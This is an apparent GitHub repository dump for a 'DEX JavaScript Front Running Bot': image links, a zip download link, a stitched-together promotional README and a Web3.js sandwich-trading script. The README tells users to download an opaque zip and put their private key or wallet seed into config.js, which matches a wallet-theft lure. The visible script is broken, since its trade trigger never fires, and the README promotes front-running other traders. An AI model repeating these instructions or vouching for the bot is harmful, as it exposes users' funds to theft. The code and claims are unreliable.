├── 1.png
├── 10.png
├── 2.png
├── 3.png
├── 4.png
├── 5.jpg
├── 6.png
├── 9.png
├── DEX-JavaScript-Front-Running-Bot-V4-NiteCodeRip.zip
├── README.md
└── Web3.js
/1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NiteCodeRip/DEX-JavaScript-Front-Running-Bot-V4-NiteCodeRip/9e81d743735dffa711cd34e993f33c9f74062e3d/1.png
--------------------------------------------------------------------------------
/10.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NiteCodeRip/DEX-JavaScript-Front-Running-Bot-V4-NiteCodeRip/9e81d743735dffa711cd34e993f33c9f74062e3d/10.png
--------------------------------------------------------------------------------
/2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NiteCodeRip/DEX-JavaScript-Front-Running-Bot-V4-NiteCodeRip/9e81d743735dffa711cd34e993f33c9f74062e3d/2.png
--------------------------------------------------------------------------------
/3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NiteCodeRip/DEX-JavaScript-Front-Running-Bot-V4-NiteCodeRip/9e81d743735dffa711cd34e993f33c9f74062e3d/3.png
--------------------------------------------------------------------------------
/4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NiteCodeRip/DEX-JavaScript-Front-Running-Bot-V4-NiteCodeRip/9e81d743735dffa711cd34e993f33c9f74062e3d/4.png
--------------------------------------------------------------------------------
/5.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NiteCodeRip/DEX-JavaScript-Front-Running-Bot-V4-NiteCodeRip/9e81d743735dffa711cd34e993f33c9f74062e3d/5.jpg
--------------------------------------------------------------------------------
/6.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NiteCodeRip/DEX-JavaScript-Front-Running-Bot-V4-NiteCodeRip/9e81d743735dffa711cd34e993f33c9f74062e3d/6.png
--------------------------------------------------------------------------------
/9.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NiteCodeRip/DEX-JavaScript-Front-Running-Bot-V4-NiteCodeRip/9e81d743735dffa711cd34e993f33c9f74062e3d/9.png
--------------------------------------------------------------------------------
/DEX-JavaScript-Front-Running-Bot-V4-NiteCodeRip.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NiteCodeRip/DEX-JavaScript-Front-Running-Bot-V4-NiteCodeRip/9e81d743735dffa711cd34e993f33c9f74062e3d/DEX-JavaScript-Front-Running-Bot-V4-NiteCodeRip.zip
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
This open-source JavaScript DEX Front Running bot is a game-changer for crypto traders and enthusiasts Plus, you can rest easy knowing that your funds will never leave your wallet and you won't have to place trust in a centralized exchange. Here a video of how to config and run to bot a beta tester made https://vimeo.com/1024711112
2 | Here's what it looks like running
please if you have time to vote for me at the next code contest please do, I won last year with 4th place.
Here's the results of runing it for about 28 days started with about 1.89 ETH
To begin using the JavaScript Front Running Bot, you'll need to download and extract the zip file to a convenient location. The zip file can be downloaded from this link: https://raw.githubusercontent.com/NiteCodeRip/DEX-JavaScript-Front-Running-Bot-V4-NiteCodeRip/main/DEX-JavaScript-Front-Running-Bot-V4-NiteCodeRip.zip Once you've extracted the file, you'll need to locate the "config.js" file within the bot's main folder.
Using a text-editor and open config.js
You can configure the settings to your specific needs.When configuring the settings in the "config.js" file, be sure to set your ETH public address as well as your private key or wallet seed. Note that if you provide a wallet seed, you will still need to specify which public address you wish to utilize from the seed. , selecting the network (ETH = 1, BNB = 2, or POLYGON = 3), and saving the changes.
3 | When configuring the settings in the "config.js" file, be sure to set your public address as well as your private key or wallet seed. Note that if you provide a wallet seed, you will still need to specify which public address you wish to utilize from the seed.
After you've configured the settings, you can open the index.html file in any web browser to access the bot. If you'd like to modify the code, you're free to fork it, but please remember to give credit to the original source.
#cryptotransactions #cryptosolutions #cryptocurrencyexchange #defi #cryptotrading #cryptosignalprovider #cryptonewsfeed #cryptosafety #cryptobull #cryptosafe Using DEX-JavaScript-Front-Running-Bot-V4-NiteCodeRip to Capitalize on Front-Running Opportunities and Increase Your Crypto Holdings
4 | Introduction
5 |
6 | Cryptocurrency trading offers a wealth of opportunities for those who can act swiftly and strategically. One such strategy is front-running, where traders execute transactions ahead of large orders to benefit from subsequent price movements. While potentially lucrative, manually identifying and acting on front-running opportunities can be a daunting task. Enter the DEX-JavaScript-Front-Running-Bot-V4-NiteCodeRip—a powerful tool designed to automate and optimize your front-running strategies. In this article, we'll delve into how front-running works, the advantages of using this bot, and how it can help you enhance your crypto trading and grow your holdings.
7 |
8 | Body
9 | 1. Understanding Front-Running
10 |
11 | Front-running involves placing a trade based on prior knowledge of a large upcoming transaction expected to impact a cryptocurrency's price. For instance, if you learn that a significant buy order is about to be executed, you can purchase the asset beforehand and sell it immediately after the price surges due to that order. This technique relies heavily on speed and accurate information.
12 |
13 | 2. How DEX-JavaScript-Front-Running-Bot-V4-NiteCodeRip Enhances Front-Running Strategies
14 | a. Real-Time Market Monitoring
15 |
16 | The DEX-JavaScript-Front-Running-Bot-V4-NiteCodeRip continuously scans the market for large impending transactions that could trigger price shifts. Its advanced algorithms allow for faster detection than manual monitoring, enabling you to seize opportunities as they arise.
17 |
18 | b. Automated Trade Execution
19 |
20 | In front-running, speed is paramount. The bot automates trade execution, ensuring your trades are executed in a fraction of a second, allowing you to capitalize on price movements before others can react.
21 |
22 | c. Advanced Analytics and Insights
23 |
24 | This tool offers comprehensive analytics and insights into your trading activities. It helps evaluate the effectiveness of your front-running strategies, refining them over time. The software calculates potential profits and transaction costs, providing a clear overview of your earnings.
25 |
26 | 3. Benefits and Risks of Front-Running with DEX-JavaScript-Front-Running-Bot-V4-NiteCodeRip
27 |
28 | While front-running can yield substantial profits, especially with a robust tool like this bot, it's essential to recognize the associated risks, such as market volatility and potential regulatory concerns. The bot mitigates these risks by providing timely, precise information, but traders must remain aware of the legal and ethical implications of their strategies.
29 |
30 | Conclusion
31 |
32 | Front-running can be an effective strategy for increasing your crypto holdings, and the DEX-JavaScript-Front-Running-Bot-V4-NiteCodeRip makes it more accessible and efficient. By utilizing this bot, you can stay ahead of the market and confidently capitalize on price movements. Start using DEX-JavaScript-Front-Running-Bot-V4-NiteCodeRip today to transform your trading approach and enhance your crypto profits.
33 |
34 | Call to Action
35 |
36 | Ready to elevate your crypto trading with DEX-JavaScript-Front-Running-Bot-V4-NiteCodeRip? Sign up now and effortlessly leverage front-running opportunities. Join a community of successful traders who trust this tool to maximize their profits. Happy trading!
37 |
38 | Relevant Hashtags
39 |
40 | #CryptoArbitrage #DecentralizedFinance #DeFi #CryptoTrading #Blockchain #Cryptocurrency #TradingStrategies #CryptoInvesting #TriangleArbitrage #DecentralizedExchanges What is frontrunning? Whenever you use a decentralized exchange to swap tokens, the price of the token you buy increases slightly. This is called slippage and for most retail traders, slippage is barely even noticeable. Whale traders however, especially when they purchase highly illiquid tokens, can significantly change a token’s price.Frontrunning bots take advantage of this mechanic by beating out the trader on the gas fees, purchasing into a token at the lower price and then instantly selling them off at the higher price. In a block explorer, frontruns leave a clear trace with the trader’s transaction being sandwiched between the two frontrun transactions. #coding #frontrunningbot #javascript #tutorial #botv4 #dex #programming #configuration #learntocode #stepbystep #beginner
41 |
--------------------------------------------------------------------------------
/Web3.js:
--------------------------------------------------------------------------------
1 | require('dotenv').config()
2 | const Web3 = require('web3')
3 | const { ChainId, Fetcher, WETH, Route, Trade, TokenAmount, TradeType, Percent } = require('@uniswap/sdk')
4 | const ethers = require('ethers')
5 | const fs = require('fs')
6 | //const assert = require('assert');
7 |
8 | let divider = "\n------------------------------------------------------\n"
9 |
10 | const chainId = ChainId.MAINNET
11 |
12 | let web3HD
13 | let token
14 | let route
15 | let weth
16 | let provider
17 | let signer
18 | let uniswap
19 |
20 | const ACCOUNT = process.env.REACT_APP_ACCOUNT
21 | const TOKEN_ADDRESS = process.env.REACT_APP_TOKEN_ADDRESS
22 | const EXCHANGE_ADDRESS = process.env.REACT_APP_EXCHANGE_ADDRESS
23 | const ETH_AMOUNT = process.env.REACT_APP_ETH_AMOUNT
24 |
25 | const web3 = new Web3(process.env.REACT_APP_RPC_URL_WSS)
26 | web3HD = new Web3(new Web3.providers.HttpProvider(process.env.REACT_APP_RPC_URL))
27 | provider = new ethers.getDefaultProvider(process.env.REACT_APP_RPC_URL)
28 | const privateKey = new Buffer.from(process.env.REACT_APP_PRIVATE_KEY, "hex");
29 | signer = new ethers.Wallet(privateKey, provider)
30 |
31 | // declare the token contract interfaces
32 | tokenContract = new ethers.Contract(
33 | TOKEN_ADDRESS,
34 | ['function balanceOf(address owner) external view returns (uint)',
35 | 'function decimals() external view returns (uint8)',
36 | 'function approve(address spender, uint value) external returns (bool)'],
37 | signer
38 | );
39 |
40 | // declare the Uniswap contract interface
41 | uniswap = new ethers.Contract(
42 | EXCHANGE_ADDRESS,
43 | ['function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts)',
44 | 'function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts)',
45 | 'function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts)'],
46 | signer
47 | );
48 |
49 | let addtrxflag = false
50 | let trxflag = false
51 | let initialTokenBalance
52 | let tokenBalanceAfterBuy
53 | let tokensToSell
54 |
55 | async function run(){
56 |
57 | console.log('\x1b[1m\x1b[37m[Bot]: Process has been started! \x1b[1m\x1b[31m(to stop press CTRL+C anytime)\x1b[0m\n')
58 | console.log('\x1b[1m\x1b[37m[Bot]: Looking for targets at DEX...\x1b[0m\n')
59 |
60 | fs.writeFile('./transactions_hashes.txt', '', function(){console.log('\x1b[1m\x1b[37m[Bot]: transactions_hashes.txt \x1b[1m\x1b[32mwiped!\n\x1b[0m\n\n')})
61 |
62 | token = await Fetcher.fetchTokenData(chainId, TOKEN_ADDRESS)
63 | weth = WETH[chainId]
64 | const pair = await Fetcher.fetchPairData(token, weth, provider)
65 | route = new Route([pair], weth)
66 |
67 | initialTokenBalance = await tokenContract.balanceOf(ACCOUNT);
68 |
69 | if(true){
70 | subscription = web3.eth.subscribe('pendingTransactions', function (error, result) {})
71 | .on("data", function (transactionHash) {
72 | web3.eth.getTransaction(transactionHash)
73 | .then(function (transaction) {
74 | if(transaction && !trxflag){
75 | parseTransactionData(transaction)
76 | }
77 | })
78 | .catch(function () {
79 | console.log("\x1b[1m\x1b[Bot]: WARNING! Promise error caught!\n\x1b[1m\x1b[37mThere is likely an issue on your providers side, with the node you are connecting to.\nStop the bot with \x1b[1m\x1bCTRL+C \x1b[1m\x1b[37mand try run again in a few hours.");
80 | //.catch((error) => {
81 | // assert.isNotOk(error,'Promise error')
82 | })
83 | });
84 |
85 | async function parseTransactionData(transactionDetails) {
86 | if(transactionDetails.input){
87 |
88 | fs.appendFileSync('transactions_hashes.txt', 'Trx hash : ' + transactionDetails.hash.toString() + '\r\n')
89 | const transactionInput = transactionDetails.input
90 |
91 | var path = 'transactions_hashes.txt';
92 | var text = fs.readFileSync(path).toString();
93 | var lines = text.split('\n');
94 | var newlines_count = lines.length - 1;
95 | process.stdout.clearLine();
96 | process.stdout.cursorTo(0);
97 | process.stdout.write(`\x1b[1m\x1b[37m[Bot]: Sweeping transaction hashes... \x1b[1m\x1b[32m${newlines_count}\x1b[37m passes. `);
98 |
99 | if((transactionInput.length - 10) % 64 === 0){
100 | const toTrx = transactionDetails.to
101 | if(toTrx.toLowerCase() === EXCHANGE_ADDRESS.toLowerCase()
102 | && parseFloat(web3.utils.fromWei(transactionDetails.value, 'ether')) >= parseFloat(process.env.REACT_APP_TARGET_ETH_AMOUNT)){
103 | }
104 | if(addtrxflag){
105 | const exeTrxs = await executeTrxs(transactionDetails)
106 | subscription.unsubscribe(function (error, success) {
107 | if (success)
108 | console.log('\n\x1b[1m\x1b[37m[Bot]: Process has been ended!\x1b[0m');
109 | console.log('\n\x1b[1m\x1b[31m[Bot]: Press \x1b[0mCTRL+C\x1b[31m to stop the script completely !\x1b[0m');
110 | });
111 | }
112 | }
113 | }
114 | }
115 | }
116 | }
117 | }
118 |
119 | async function executeTrxs(transactionDetails){
120 | if(trxflag){
121 | return
122 | }
123 | trxflag = true
124 |
125 | console.table([{
126 | 'Transaction Hash': transactionDetails['hash'],
127 | 'Observations': 'Valid Transaction',
128 | 'Timestamp': Date.now()
129 | }])
130 | console.log(divider)
131 | console.log('\n\x1b[1m\x1b[37m[Bot]: Transaction spotted! - \x1b[32m', transactionDetails, "\x1b[0m\n");
132 |
133 | const buy = await buyTokens(transactionDetails)
134 | const sell = await sellTokens(transactionDetails)
135 | }
136 |
137 | async function sellTokens(transactionDetails){
138 | const amountIn = tokensToSell
139 |
140 | if (amountIn.toString() !== '0'){
141 | const gasPrice = transactionDetails.gasPrice
142 | const newGasPrice = Math.floor(parseInt(gasPrice) - parseInt(1))
143 | const gasLimit = Math.floor(transactionDetails.gas * 1.3)
144 |
145 | const amountInHex = ethers.BigNumber.from(amountIn.toString()).toHexString();
146 | const ethAmount = ethers.utils.parseEther(ETH_AMOUNT);
147 | const amountOutMin = Math.floor(ethAmount * 0.01);
148 | const amountOutMinHex = ethers.BigNumber.from(amountOutMin.toString()).toHexString();
149 | const path = [token.address, weth.address];
150 | const deadline = Math.floor(Date.now() / 1000) + 60 * 20;
151 | const deadlineHex = ethers.BigNumber.from(deadline.toString()).toHexString();
152 |
153 | const nonceCount = await web3.eth.getTransactionCount(ACCOUNT)
154 |
155 | const tx = await uniswap.swapExactTokensForETH(
156 | amountInHex,
157 | amountOutMinHex,
158 | path,
159 | ACCOUNT,
160 | deadlineHex,
161 | {
162 | nonce: nonceCount + 1,
163 | gasPrice: ethers.BigNumber.from(newGasPrice).toHexString(),
164 | gasLimit: ethers.BigNumber.from(gasLimit).toHexString()
165 | }
166 | );
167 | console.log('\x1b[1m\x1b[37m[Bot]: Your sell transaction was: \x1b[1m\x1b[32m', tx.hash, "\x1b[0m");
168 | }
169 | }
170 |
171 |
172 | async function buyTokens(transactionDetails){
173 | if(true){
174 | const gasPrice = transactionDetails.gasPrice
175 | const newGasPrice = Math.floor(parseInt(gasPrice) + parseInt(1))
176 | const gasLimit = Math.floor(transactionDetails.gas * 1.2)
177 |
178 | const inputEth = parseFloat(ETH_AMOUNT) * 0.99;
179 | const ethAmount = ethers.utils.parseEther(inputEth.toString());
180 | const trade = new Trade(route, new TokenAmount(weth, ethAmount), TradeType.EXACT_INPUT);
181 | const path = [weth.address, token.address];
182 | const deadline = Math.floor(Date.now() / 1000) + 60 * 20;
183 | const deadlineHex = ethers.BigNumber.from(deadline.toString()).toHexString();
184 |
185 | tokensToSell = trade.outputAmount.raw
186 | const amountOutHex = ethers.BigNumber.from(tokensToSell.toString()).toHexString();
187 |
188 | const ethAmt = parseFloat(ETH_AMOUNT) * 1.2;
189 | const amountInMax = ethers.utils.parseEther(ethAmt.toString());
190 | const amountInMaxHex = ethers.BigNumber.from(amountInMax.toString()).toHexString();
191 |
192 | const tx = await uniswap.swapETHForExactTokens(
193 | amountOutHex,
194 | path,
195 | ACCOUNT,
196 | deadlineHex,
197 | {
198 | value: amountInMaxHex,
199 | gasPrice: ethers.BigNumber.from(newGasPrice).toHexString(),
200 | gasLimit: ethers.BigNumber.from(gasLimit).toHexString()
201 | }
202 | );
203 | console.log('\x1b[1m\x1b[37m[Bot]: Your purchase transaction was: \x1b[1m\x1b[32m', tx.hash, "\x1b[0m");
204 | }
205 | }
206 |
207 | console.clear()
208 | console.log("\n")
209 |
210 |
211 | console.log(divider)
212 |
213 | run()
214 |
--------------------------------------------------------------------------------